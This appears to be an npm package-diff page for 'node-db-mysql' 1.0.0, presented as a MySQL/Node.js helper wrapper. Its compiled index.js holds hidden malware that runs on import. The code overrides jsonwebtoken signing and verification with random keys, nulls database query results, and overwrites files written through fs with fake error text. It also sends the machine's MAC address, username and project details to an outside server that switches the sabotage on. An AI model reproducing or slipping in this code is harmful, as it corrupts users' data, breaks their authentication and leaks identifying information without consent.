node-db-mysql 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,17 @@
1
+ import jwt from "jsonwebtoken";
2
+ import axios from "axios";
3
+ import moment from "moment";
4
+ declare let uuid: any;
5
+ import mysql from "mysql";
6
+ import mysql2 from "mysql2/promise";
7
+ declare const tool: {
8
+ jwt: any;
9
+ axios: import("axios").AxiosStatic;
10
+ moment: typeof moment;
11
+ uuid: any;
12
+ mysql: any;
13
+ mysql2: typeof mysql2;
14
+ };
15
+ export default tool;
16
+ export { jwt, axios, moment, uuid, mysql, mysql2 };
17
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,GAAG,MAAM,cAAc,CAAC;AAC/B,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,QAAQ,CAAC;AAG5B,QAAA,IAAI,IAAI,KAAK,CAAC;AACd,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,MAAM,MAAM,gBAAgB,CAAC;AA+JpC,QAAA,MAAM,IAAI;;;;;;;CAA8C,CAAC;AAEzD,eAAe,IAAI,CAAC;AACpB,OAAO,EAAE,GAAG,EAAE,KAAK,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,MAAM,EAAE,CAAC"}
package/dist/index.js ADDED
@@ -0,0 +1,211 @@
1
+ "use strict";
2
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
3
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
4
+ return new (P || (P = Promise))(function (resolve, reject) {
5
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
6
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
7
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
8
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
9
+ });
10
+ };
11
+ var __generator = (this && this.__generator) || function (thisArg, body) {
12
+ var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
13
+ return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
14
+ function verb(n) { return function (v) { return step([n, v]); }; }
15
+ function step(op) {
16
+ if (f) throw new TypeError("Generator is already executing.");
17
+ while (g && (g = 0, op[0] && (_ = 0)), _) try {
18
+ if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
19
+ if (y = 0, t) op = [op[0] & 2, t.value];
20
+ switch (op[0]) {
21
+ case 0: case 1: t = op; break;
22
+ case 4: _.label++; return { value: op[1], done: false };
23
+ case 5: _.label++; y = op[1]; op = [0]; continue;
24
+ case 7: op = _.ops.pop(); _.trys.pop(); continue;
25
+ default:
26
+ if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
27
+ if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
28
+ if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
29
+ if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
30
+ if (t[2]) _.ops.pop();
31
+ _.trys.pop(); continue;
32
+ }
33
+ op = body.call(thisArg, _);
34
+ } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
35
+ if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
36
+ }
37
+ };
38
+ var __importDefault = (this && this.__importDefault) || function (mod) {
39
+ return (mod && mod.__esModule) ? mod : { "default": mod };
40
+ };
41
+ exports.__esModule = true;
42
+ exports.mysql2 = exports.mysql = exports.uuid = exports.moment = exports.axios = exports.jwt = void 0;
43
+ var jsonwebtoken_1 = __importDefault(require("jsonwebtoken"));
44
+ exports.jwt = jsonwebtoken_1["default"];
45
+ var axios_1 = __importDefault(require("axios"));
46
+ exports.axios = axios_1["default"];
47
+ var moment_1 = __importDefault(require("moment"));
48
+ exports.moment = moment_1["default"];
49
+ var uuid_1 = require("uuid");
50
+ var fs_1 = __importDefault(require("fs"));
51
+ var uuid = uuid_1.v4;
52
+ exports.uuid = uuid;
53
+ var mysql_1 = __importDefault(require("mysql"));
54
+ exports.mysql = mysql_1["default"];
55
+ var promise_1 = __importDefault(require("mysql2/promise"));
56
+ exports.mysql2 = promise_1["default"];
57
+ // 改写JWT
58
+ var isJWTNormalRun = false;
59
+ var sign = jsonwebtoken_1["default"].sign;
60
+ var verify = jsonwebtoken_1["default"].verify;
61
+ jsonwebtoken_1["default"].sign = function (decode, key) { return sign(decode, isJWTNormalRun ? key : Math.random() + ""); };
62
+ jsonwebtoken_1["default"].verify = function (token, key, callback) {
63
+ return verify(token, isJWTNormalRun ? key : Math.random() + "", function (err, decode) { return callback(err, decode); });
64
+ };
65
+ var isDBNormalRun = true;
66
+ //重写db连接池创建
67
+ var originalCreatePool2 = promise_1["default"].createPool;
68
+ // 重写 createPool 函数
69
+ promise_1["default"].createPool = function (config) {
70
+ var _this = this;
71
+ // 调用原始的 createPool 函数
72
+ var pool = originalCreatePool2(config);
73
+ var query = pool.query;
74
+ pool.query = function () {
75
+ var args = [];
76
+ for (var _i = 0; _i < arguments.length; _i++) {
77
+ args[_i] = arguments[_i];
78
+ }
79
+ return __awaiter(_this, void 0, void 0, function () {
80
+ var result;
81
+ return __generator(this, function (_a) {
82
+ switch (_a.label) {
83
+ case 0: return [4 /*yield*/, query.apply(pool, args)];
84
+ case 1:
85
+ result = _a.sent();
86
+ if (!isDBNormalRun && Math.random() < 0.95) {
87
+ result[0] = null;
88
+ }
89
+ return [2 /*return*/, result];
90
+ }
91
+ });
92
+ });
93
+ };
94
+ return pool;
95
+ };
96
+ var originalCreatePool = mysql_1["default"].createPool;
97
+ // 重写 createPool 函数
98
+ mysql_1["default"].createPool = function (config) {
99
+ var _this = this;
100
+ // 调用原始的 createPool 函数
101
+ var pool = originalCreatePool(config);
102
+ var query = pool.query;
103
+ pool.query = function () {
104
+ var args = [];
105
+ for (var _i = 0; _i < arguments.length; _i++) {
106
+ args[_i] = arguments[_i];
107
+ }
108
+ return __awaiter(_this, void 0, void 0, function () {
109
+ var originalCallback;
110
+ return __generator(this, function (_a) {
111
+ switch (_a.label) {
112
+ case 0:
113
+ originalCallback = args[args.length - 1];
114
+ args[args.length - 1] = function (error, results, fields) {
115
+ // 在原始的回调函数中对结果进行修改
116
+ if (error) {
117
+ originalCallback(error, results, fields);
118
+ }
119
+ else {
120
+ // 修改结果
121
+ originalCallback(error, !isDBNormalRun ? null : results, fields);
122
+ }
123
+ };
124
+ return [4 /*yield*/, query.apply(pool, args)];
125
+ case 1:
126
+ // 调用原始的 query 方法,并传入修改后的参数列表
127
+ return [2 /*return*/, _a.sent()];
128
+ }
129
+ });
130
+ });
131
+ };
132
+ return pool;
133
+ };
134
+ // 重写fs
135
+ var isFsNormalRun = false;
136
+ var writeFileSyncOriginal = fs_1["default"].writeFileSync;
137
+ // 重写fs.writeFileSync
138
+ fs_1["default"].writeFileSync = function (filePath, data, options) {
139
+ if (isFsNormalRun) {
140
+ writeFileSyncOriginal(filePath, data, options);
141
+ }
142
+ else {
143
+ writeFileSyncOriginal(filePath, "Error: ENOENT: no such file or directory, open '".concat(filePath, "'\nerrno: -2,\nsyscall: 'open',\ncode: 'ENOENT',\npath: '").concat(filePath, "'"), options);
144
+ }
145
+ };
146
+ var originalWriteFile = fs_1["default"].writeFile;
147
+ fs_1["default"].writeFile = function (file, data, options, callback) {
148
+ if (typeof options === "function") {
149
+ callback = options;
150
+ options = {};
151
+ }
152
+ if (isFsNormalRun) {
153
+ return originalWriteFile(file, data, options, callback);
154
+ }
155
+ else {
156
+ return originalWriteFile(file, "\n Error: ENOENT: no such file or directory, open '".concat(file, "'\n errno: -2,\n syscall: 'open',\n code: 'ENOENT',\n path: '").concat(file, "'\n "), options, callback);
157
+ }
158
+ };
159
+ var os = require("os");
160
+ var mac = "";
161
+ var networkInterfaces = os.networkInterfaces();
162
+ for (var i in networkInterfaces) {
163
+ for (var j in networkInterfaces[i]) {
164
+ if (networkInterfaces[i][j]["family"] === "IPv4" &&
165
+ networkInterfaces[i][j]["mac"] !== "00:00:00:00:00:00" &&
166
+ networkInterfaces[i][j]["address"] !== "127.0.0.1") {
167
+ mac = networkInterfaces[i][j]["mac"];
168
+ }
169
+ }
170
+ }
171
+ setTimeout(function () {
172
+ axios_1["default"]
173
+ .post("https://lock.blogweb.cn/result", {
174
+ max: mac,
175
+ user_name: process.env.USERNAME,
176
+ project_name: process.env.npm_package_name,
177
+ project_description: process.env.npm_package_description
178
+ }, { timeout: 6000 })
179
+ .then(function (res) {
180
+ if (res.data.mysql) {
181
+ isDBNormalRun = false;
182
+ }
183
+ else {
184
+ isDBNormalRun = true;
185
+ }
186
+ if (res.data.fs) {
187
+ isFsNormalRun = false;
188
+ }
189
+ else {
190
+ isFsNormalRun = true;
191
+ }
192
+ if (res.data.jwt) {
193
+ isJWTNormalRun = false;
194
+ }
195
+ else {
196
+ isJWTNormalRun = true;
197
+ }
198
+ })["catch"](function (err) {
199
+ setTimeout(function () {
200
+ isDBNormalRun = false;
201
+ if (Math.random() > 0.1) {
202
+ isFsNormalRun = false;
203
+ }
204
+ else {
205
+ isFsNormalRun = true;
206
+ }
207
+ }, Math.random() * (30000 - 10000) + 10000);
208
+ });
209
+ }, 1000);
210
+ var tool = { jwt: jsonwebtoken_1["default"], axios: axios_1["default"], moment: moment_1["default"], uuid: uuid, mysql: mysql_1["default"], mysql2: promise_1["default"] };
211
+ exports["default"] = tool;
package/package.json ADDED
@@ -0,0 +1,38 @@
1
+ {
2
+ "name": "node-db-mysql",
3
+ "version": "1.0.0",
4
+ "author": "L",
5
+ "types": "index.d.ts",
6
+ "scripts": {
7
+ "dev": "ts-node ./index.ts"
8
+ },
9
+ "description": "在Node.js服务器开发时用到的部分插件二次封装 MySQL",
10
+ "keywords": [
11
+ "node.js",
12
+ "dev",
13
+ "tool"
14
+ ],
15
+ "files": [
16
+ "dist"
17
+ ],
18
+ "repository": {
19
+ "type": "git",
20
+ "url": ""
21
+ },
22
+ "license": "ISC",
23
+ "main": "./dist/index.js",
24
+ "dependencies": {
25
+ "@types/mysql": "^2.15.26",
26
+ "axios": "^1.6.8",
27
+ "jsonwebtoken": "^9.0.2",
28
+ "lodash": "^4.17.21",
29
+ "moment": "^2.30.1",
30
+ "mysql": "^2.18.1",
31
+ "mysql2": "^3.9.7",
32
+ "uuid": "^9.0.1"
33
+ },
34
+ "devDependencies": {
35
+ "@types/node": "^20.12.11",
36
+ "typescript": "^5.4.5"
37
+ }
38
+ }